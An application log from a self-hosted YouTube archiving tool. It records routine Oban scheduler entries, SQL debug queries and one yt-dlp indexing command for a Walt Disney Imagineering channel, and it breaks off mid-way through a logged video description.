{"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:16.976 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:46.977 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.599 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:16.978 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:46.979 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.600 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:16.980 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:46.981 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.601 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:16.983 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:46.984 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.602 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:16.985 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:46.986 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.603 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:16.987 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:46.988 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.604 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:16.989 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:46.990 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.605 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:16.991 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:46.992 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.606 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:16.993 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:46.994 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.607 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:16.995 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:46.996 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.608 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:16.997 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:46.998 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.609 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:17.000 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:47.002 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.610 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:17.004 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:47.005 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.611 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:17.007 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:47.008 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.612 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:17.009 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:47.010 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.613 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:17.011 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:47.012 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.614 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:17.013 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:47.014 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.615 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:17.015 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:47.016 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.616 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:17.017 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:47.018 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.617 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:17.020 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:47.022 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.618 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:17.023 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:47.024 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.619 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:17.026 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:47.028 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:19:00.620 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:17.030 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:47.032 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.621 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:17.034 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:47.035 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.622 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:17.036 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:47.037 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.623 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:17.038 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:47.039 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.624 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:17.040 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:47.041 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.625 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:17.042 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:47.043 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.626 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:17.044 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:47.045 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.627 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:17.046 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:47.047 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.628 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:17.048 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:47.049 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.629 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:17.050 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:47.051 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.630 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:17.052 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:47.053 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.631 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:17.054 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:47.055 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.632 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:17.056 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:47.057 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.633 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:17.058 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:47.059 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.634 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:17.060 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:47.061 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.635 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:17.062 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:47.063 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.636 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:17.064 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:47.065 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.637 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:17.066 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:47.068 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.638 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:17.069 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:47.070 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.639 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:17.071 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:47.072 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.640 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:17.073 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:47.074 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.641 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:17.075 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:47.077 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.642 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:17.079 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:47.080 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.643 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:17.081 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:47.082 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.644 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:17.083 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:47.084 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.645 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:17.085 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:47.086 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.646 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:17.087 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:47.088 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.647 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:17.090 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:47.091 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.648 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:17.092 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:47.093 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.650 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:17.094 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:47.095 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.650 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:17.096 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:47.098 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.651 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:17.099 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:47.100 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.652 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:17.101 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:47.102 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.654 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:17.103 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:47.105 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.654 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:17.106 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:47.107 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.656 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:17.108 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:47.109 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:51.530 [info] {"args":{"id":2},"id":1691,"meta":{},"system_time":1774824891530273282,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:54:51.530 [debug] QUERY OK source="sources" db=0.1ms idle=479.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:51.531 [debug] QUERY OK source="settings" db=0.7ms idle=480.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.535 [debug] QUERY OK source="media_items" db=3.4ms idle=481.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:54:51.535 [debug] QUERY OK source="media_items" db=0.3ms idle=11.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:54:51.536 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:51.536 [debug] QUERY OK source="settings" db=0.0ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.536 [debug] QUERY OK source="settings" db=0.0ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.539 [debug] QUERY OK source="media_items" db=2.0ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 18:54:51.544 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:54:51.544 [debug] Current batch of media processed. Will check again in 1000ms 18:54:51.544 [debug] QUERY OK source="settings" db=0.1ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.545 [debug] QUERY OK source="settings" db=0.1ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.545 [debug] QUERY OK source="settings" db=0.0ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:51.545 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/29/0d/290d086cf88f905332a8205516592e63c997fb4c356a889bb4db58a6fee15588.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/94/fe/94fecf41d63ca6520fd42904df43b34c0fe4e0bf31943cc68593efe00e7e0cdb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:54:52.545 [debug] Current batch of media processed. Will check again in 1000ms 18:54:53.546 [debug] Current batch of media processed. Will check again in 1000ms 18:54:54.547 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney 